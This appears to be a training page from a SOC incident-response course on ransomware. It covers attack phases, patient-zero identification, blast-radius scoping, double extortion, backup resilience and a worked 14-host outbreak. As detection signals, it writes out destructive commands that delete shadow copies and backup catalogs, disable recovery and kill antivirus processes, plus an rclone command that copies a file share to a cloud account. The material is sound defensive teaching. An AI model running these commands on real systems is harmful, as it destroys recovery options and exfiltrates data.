Master the ransomware IR playbook — understanding the modern six-phase kill chain including double extortion, identifying patient zero from encryption timestamps, recognising pre-detonation shadow copy deletion as a critical last-chance containment window, scoping blast radius across an enterprise, and executing the structured recovery sequence that gets organisations back without re-infection.
Ransomware Response
Ransomware is malware that encrypts victim files and demands payment for the decryption key. Modern ransomware attacks are sophisticated multi-stage operations — initial access via phishing or exposed RDP, lateral movement to maximise infection, data exfiltration before encryption (double extortion), then simultaneous detonation across all infected hosts.
Ransomware response is the most time-pressured IR scenario a SOC handles. Every minute of delay means more files encrypted, more backups deleted, and a larger recovery scope. A structured playbook executed calmly under pressure is the difference between a contained incident and a catastrophic, organisation-wide breach.
Why Ransomware Is Unlike Any Other Incident Type
Every other incident type in this curriculum involves the analyst racing to stop an attacker who is still operating covertly. Ransomware is different: by the time the first alert fires, the encryption has already started. The attacker's work is largely complete. The investigative question shifts from "what are they doing now?" to "what did they do during their dwell time, what data was exfiltrated, and how do we get back?" The response is as much a business recovery operation as a security investigation.
The dwell time before detonation — the weeks or months the attacker spent inside before encrypting — is the investigation's focus. The encryption itself is the ransom operator's exit, not their entry. Understanding this distinction changes the entire approach: the attack started long before the ransom note appeared.
Imagine someone breaks into a library in the dead of night. Over several weeks, working quietly after hours, they photograph every book and send copies to their employer. Then, on a chosen night, they glue shut every book in the building simultaneously and leave a note on the door: "Pay us and we'll provide unglue. Oh, and your competitors already have copies of everything inside." The encryption is not the breach — the breach happened during those weeks of quiet photography. By the time the librarian arrives to find glued books, the theft is already complete. The ransom is just the attacker monetising their final position. Recovery means getting new books, not just ungluing the originals.
Ransomware Attack Phases
Phase 1 Initial Access: phishing email, exposed RDP (port 3389), VPN vulnerability Phase 2 Persistence: scheduled task, registry Run key, new admin account Phase 3 Lateral Movement: credential dumping, pass-the-hash, RDP spread Phase 4 Data Exfiltration: steal data before encrypting (double extortion leverage) Phase 5 Pre-Detonation: disable backups, delete shadow copies, kill AV processes Phase 6 Encryption: simultaneous detonation across all infected hosts
The Dwell Time Problem
Phases 1–4 happen silently over days or weeks. The average ransomware dwell time before detonation is measurable in weeks for sophisticated operators. During this time, the attacker is mapping the network, escalating privileges, identifying the most valuable data and backup infrastructure, and exfiltrating everything worth stealing. The SIEM may have had alerts during this period — failed login spikes, unusual process creation, large outbound transfers — but they were not connected or escalated. Understanding the dwell time is critical for scoping the data exposure component of the incident (which data was exfiltrated during Phase 4).
vssadmin delete shadows /all /quiet — shadow copy deletion. This command appearing in any process log is the clearest pre-detonation signal available. Most ransomware families run this within minutes of detonation.
wbadmin delete catalog -quiet — Windows Backup catalog deletion. Removes the backup index, preventing Windows Backup restore.
bcdedit /set {default} recoveryenabled No — disables Windows Recovery Environment. Makes post-encryption recovery harder at the OS level.
taskkill /F /IM [AV process] — terminating AV and EDR processes. Many ransomware families include a process kill list of known security tools.
The shadow copy deletion command is typically run 2–5 minutes before the encryption payload fires. A real-time SIEM alert on vssadmin delete shadows in Event 4688 provides a narrow but real window to isolate systems before encryption reaches more hosts.
This is one of the few cases where a SIEM alert on a specific command string — not a pattern, not a heuristic — is the correct detection approach. Every vssadmin delete shadows execution, without exception, is a Critical alert requiring immediate response.
Configure: Event ID 4688 + ProcessCommandLine contains "delete shadows" → immediate page to on-call. No other investigation required before isolation begins.
Ransomware Investigation in Practice
Patient zero is the first infected host. Finding it reveals the initial attack vector — the vulnerability that needs to be patched before reconnection — and establishes the true start of the incident timeline.
# Check earliest encryption event timestamps across all hosts: CORP-WS-014 first encrypted file: 2026-05-15 03:22:01 CORP-WS-021 first encrypted file: 2026-05-15 03:24:44 CORP-SRV-02 first encrypted file: 2026-05-15 03:31:12 CORP-WS-014 = patient zero (earliest timestamp by 2 minutes 43 seconds) # Now investigate CORP-WS-014 specifically for initial access vector # Check: phishing emails received, RDP login history, VPN access logs
Ransomware deletes Windows shadow copies before encrypting to eliminate the easiest recovery path. This command in Event 4688 is a critical last-chance containment signal.
Event 4688 -- New Process Created Time: 2026-05-15 03:20:44 (2 minutes before encryption begins) Process: vssadmin.exe delete shadows /all /quiet Process: wbadmin delete catalog -quiet Process: bcdedit /set {default} recoveryenabled No # Shadow copies deleted, backup catalog wiped, recovery disabled # Ransomware detonation imminent -- network isolation required NOW # Every second of delay = more files encrypted on more hosts
Map the infection spread to understand the full scope before beginning recovery. Both EDR hash search and file extension scanning are needed for complete coverage.
# EDR: search for ransomware binary hash across all endpoints: Hash: 8a3f2c1b9d4e7f6a5b4c3d2e1f0a9b8c Matched on: 14 hosts Infected: CORP-WS-014, WS-021, WS-033, SRV-02, SRV-05, DC-BACKUP... # File server: check shared drives for encrypted extensions: \\fileserver\share\HR\ 847 files renamed to .locked \\fileserver\share\Finance\ 2,341 files renamed to .locked \\fileserver\share\Legal\ 1,092 files renamed to .locked # Total: 14 endpoints, 3 shared drive departments affected # DC-BACKUP in list -- check if backup domain controller is also compromised
Recovery follows a strict sequence to prevent re-infection from malware that may still be active on surviving systems.
Immediate (minutes) Isolate ALL infected hosts from network (EDR kill switch or VLAN quarantine) Preserve memory dumps before shutdown (forensic evidence) Identify and document patient zero and infection chain Short-term (hours) Check for available backups (offline/immutable -- not connected backups) Search for public decryptors at nomoreransom.org Reset ALL domain credentials (attacker has them from lateral movement phase) Engage legal counsel and cyber insurance Rebuild (days) Rebuild from clean images, NOT restore to infected systems Restore data from last clean backup (pre-infection timestamp) Patch initial access vulnerability before reconnecting ANY host
What You Need to Know
Double Extortion — The Modern Ransomware Model
The ransomware model that dominated 2017–2019 was simple: encrypt files, demand payment for the key. The fundamental problem with this model, from the attacker's perspective, is that an organisation with good backups can simply restore and not pay. Modern ransomware-as-a-service (RaaS) operations solved this problem with double extortion: exfiltrate the data first, then encrypt it.
The double extortion victim faces two separate threats. First, they cannot access their files without paying — or restoring from backup. Second, even if they restore from backup and decline to pay, the attacker threatens to publish the stolen data on their leak site or sell it to competitors. For organisations with sensitive customer data, regulated health information, or confidential business plans, the data exposure threat may be more serious than the encryption itself.
Large outbound transfers: Look for multi-gigabyte transfers to external IPs in the weeks before detonation. Firewall logs and proxy logs both capture this. Attackers often stage data in compressed archives before exfiltration.
Cloud storage uploads: MEGAsync, rclone, and similar tools are commonly used by ransomware operators for data exfiltration. Their presence in process logs weeks before detonation indicates the exfiltration phase.
Rclone command in process logs: rclone copy \\fileserver\share mega:exfil — rclone configured to upload to a cloud storage provider is the most common exfiltration method in modern ransomware cases.
Payment does not guarantee decryption. Attacker may provide a broken decryptor, partial key, or no response. Payment transfers funds to criminals with no legal recourse.
Payment funds future attacks. Organisations that pay are known to pay — they become priority targets for repeat ransomware campaigns. Many victims are attacked a second time within 12 months of paying.
Legal considerations are evolving. In some jurisdictions, paying ransomware operators who are on sanctions lists may itself be a legal violation. Cyber insurance policies may cover the payment decision but counsel should advise. Always involve legal counsel before any payment decision.
Always check nomoreransom.org first — law enforcement and security vendors regularly publish free decryptors when ransomware group key material is recovered through takedowns.
Backup Resilience — Why Most Backups Fail in Ransomware
The single most important preparation for ransomware resilience is a backup architecture that can survive the attack. Most organisations discover during a ransomware incident that their backups are either encrypted alongside production data, or inaccessible because backup credentials were stolen and backups were deleted during Phase 5.
Network-connected backup servers: If the backup server is on the same network and accessible with the same credentials, ransomware will encrypt backup data alongside production data. This is the most common backup failure mode.
Cloud sync backup (Dropbox/OneDrive as backup): Ransomware encrypts files on the local filesystem, sync propagates the encrypted versions to the cloud, overwriting the clean versions. Real-time sync is not a backup.
Backup credentials known to domain admins: During Phase 3 (credential dumping), the attacker dumps all domain credentials including backup system service accounts. Phase 5 then deletes backups using those stolen credentials.
Air-gapped backups: Physically disconnected backup media — tape rotation with offsite storage, or drives disconnected after backup jobs complete. Cannot be reached over the network during an attack.
Immutable cloud backup (object lock): Cloud storage with object lock enabled prevents modification or deletion of objects for a defined retention period — even by the account owner. The backup data cannot be deleted by an attacker with stolen cloud credentials.
Separate credentials, out-of-band management: Backup system credentials that are not part of Active Directory and cannot be dumped alongside domain accounts. Backup infrastructure administered from a separate management plane.
3-2-1-1-0 rule: 3 copies, 2 different media types, 1 offsite, 1 offline/immutable, 0 errors verified by restore test.
14-Host Outbreak — From Detection to Recovery Decision
03:22 — First alert: EDR detects mass file extension changes on CORP-WS-014. Files being renamed to .locked at approximately 800 files per minute. SIEM simultaneously fires on Event 4688 — vssadmin delete shadows /all /quiet executed at 03:20:44, two minutes earlier. On-call analyst paged. Immediate network quarantine of all production systems initiated via EDR kill switch while the scope is assessed.
03:35 — Blast radius scoped: EDR hash search for the ransomware binary finds matches on 14 hosts: 12 workstations and 2 member servers. File server share enumeration shows 4,280 files across HR, Finance, and Legal shares encrypted. The backup domain controller (DC-BACKUP) is also in the infected list — backup jobs for the past 3 weeks pointed to a network share that is now encrypted. Primary offline backup tape is from 3 weeks prior.
03:50 — Patient zero identified: CORP-WS-014 has the earliest encryption timestamp (03:22:01). RDP login history on WS-014 shows 6,800 failed authentication attempts from 185.220.101.45 between 22:00 and 02:44 the prior night, followed by one successful login at 02:44:12 under the account "Administrator". RDP was exposed on port 3389 directly to the internet — the initial access vector was RDP brute force.
04:15 — Dwell time investigation: Reviewing the 5-week period before detonation on WS-014 and connected systems: rclone.exe appeared in process logs on Day 3 of the dwell period, configured to sync to a MEGA cloud account. Firewall logs show 47 GB of outbound transfers over the following two weeks to MEGA infrastructure IPs. Double extortion confirmed — data was exfiltrated before encryption. Legal counsel notified for potential data breach notification assessment.
Recovery decision: Network-connected backups encrypted. Offline tape backup is 3 weeks old. nomoreransom.org has no decryptor for this ransomware variant (LockBit 3.0). Options: (1) restore from 3-week-old tape, accepting 3 weeks of data loss, or (2) pay the ransom ($1.2M) for a decryptor. Legal, executive, and cyber insurance counsel engaged for the payment decision. Technical team begins OS rebuilds in parallel while the decision is made. RDP port 3389 firewall blocked immediately — the initial access vector closed before any system is reconnected.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — IR08 Ransomware Response→← Return to all labs